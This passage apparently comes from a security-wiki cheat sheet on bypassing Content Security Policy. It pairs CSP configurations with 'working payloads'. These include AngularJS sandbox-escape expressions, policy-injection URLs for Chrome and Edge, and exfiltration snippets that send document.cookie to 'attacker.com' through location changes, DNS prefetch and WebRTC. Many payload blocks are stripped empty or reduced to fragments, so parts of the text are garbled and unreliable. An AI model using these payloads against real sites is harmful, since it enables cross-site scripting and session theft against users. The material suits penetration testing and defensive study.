**: Whitelist scripts with an specific sha256 hash
## Unsafe Scenarios
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/>`
#### self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Working payload: ``
### Wildcard
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Working payload:
```markup
"/>'>
"/>'>
```
### Lack of object-src and default-src
```yaml
Content-Security-Policy: script-src 'self' ;
```
Working payloads:
```markup
">'>
```
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
If you can upload a JS file you can bypass this CSP:
Working payload:
```markup
"/>'>
```
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
Moreover, even if you could upload a **JS code inside** a file using a extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **selects MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Third Party Endpoints + 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Load a vulnerable version of angular and execute arbitrary JS:
```markup
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}
```
#### Other payloads:
```markup
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
"> {{$eval.constructor('alert(1)')()}}
">
```
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none';
```
Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:
```markup
">
">
```
[JSONBee](https://github.com/zigoo0/JSONBee) contains a ready to use JSONP endpoints to CSP bypass of different websites.
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect**, because if the initial endpoint is trusted, redirects are trusted.
### Folder path bypass
If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree on that.\
This leads to a possible bypass, by using "**%2f..%2f**" if server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS execution
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### missing **base-uri**
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection.md).
Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use a httpS url in the base.
```html
```
### AngularJS events
Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special `$event` object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the `$event/event` object called `path`. This property contains an array of objects that causes the event to be executed. The last property is always the `window` object, which we can use to perform a sandbox escape. By passing this array to the `orderBy` filter, we can enumerate the array and use the last element (the `window` object) to execute a global function, such as `alert()`. The following code demonstrates this:
```markup
#x
?search= #x
```
**Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) repo.
Working payloads:
```
">
ng-app"ng-csp ng-click=$event.view.alert(1337)>
```
### Bypass CSP with dangling markup
Read [how here](../dangling-markup-html-scriptless-injection.md).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.
You can bypass this CSP exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image):
```javascript
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows to load images from twitter. You could **craft** an **special image**, **upload** it to twitter and abuse the "**unsafe-inline**" to **execute**a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### img-src \*; via XSS (iframe) - Time attack
Notice the lack of the directive `'unsafe-inline'`\
This time you can make the victim **load** a page in **your control** via **XSS** with a ` // The bot will load an URL with the payload
```
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="";
```
### Leaking Information CSP + Iframe
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example the user **admin** accessing **redirectme.domain1.com** is redirected to: **adminsecret321.domain2.com** and you can cause a XSS to the admin.\
**Also the page redirected isn't allowed by the security policy, but the page that redirects is.**
You can leak the domain where the admin is redirected through:
* **through CSP violation**
* **through CSP rules.**
The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this.
When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP Exfiltration Bypasses
If there is a strict CSP that doesn't allow you to **interact with external servers**, there some things you can always do to exfiltrate the information.
### Location
You could just update the location to send to the attackers server the secret information:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### DNS Prefetch
To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for a later usage.\
You can indicate a browser to pre-resolve a hostname with: ` `
You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + " ";
```
Another way:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
In order to avoid this from happening the server can send the HTTP header:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Apparently this technique doesn't work in headless browsers (bots)
{% endhint %}
### WebRTC
In several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
```javascript
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
```
However, it doesn't look like it's [not possible anymore](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (or at least not that easy).
If you know how to exfiltrate info with WebRTC [**send a pull request please!**](https://github.com/carlospolop/hacktricks)****
## Policy Injection
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
### Chrome
If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses:
```
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Because this directive will **overwrite existing script-src directives**.\
You can find an example here: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
### Edge
In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\
Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
## Checking CSP Policies Online
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Automatically creating CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## References
{% embed url="https://hackdefense.com/blog/csp-the-how-and-why-of-a-content-security-policy/" %}
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
{% embed url="https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d" %}
{% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme" %}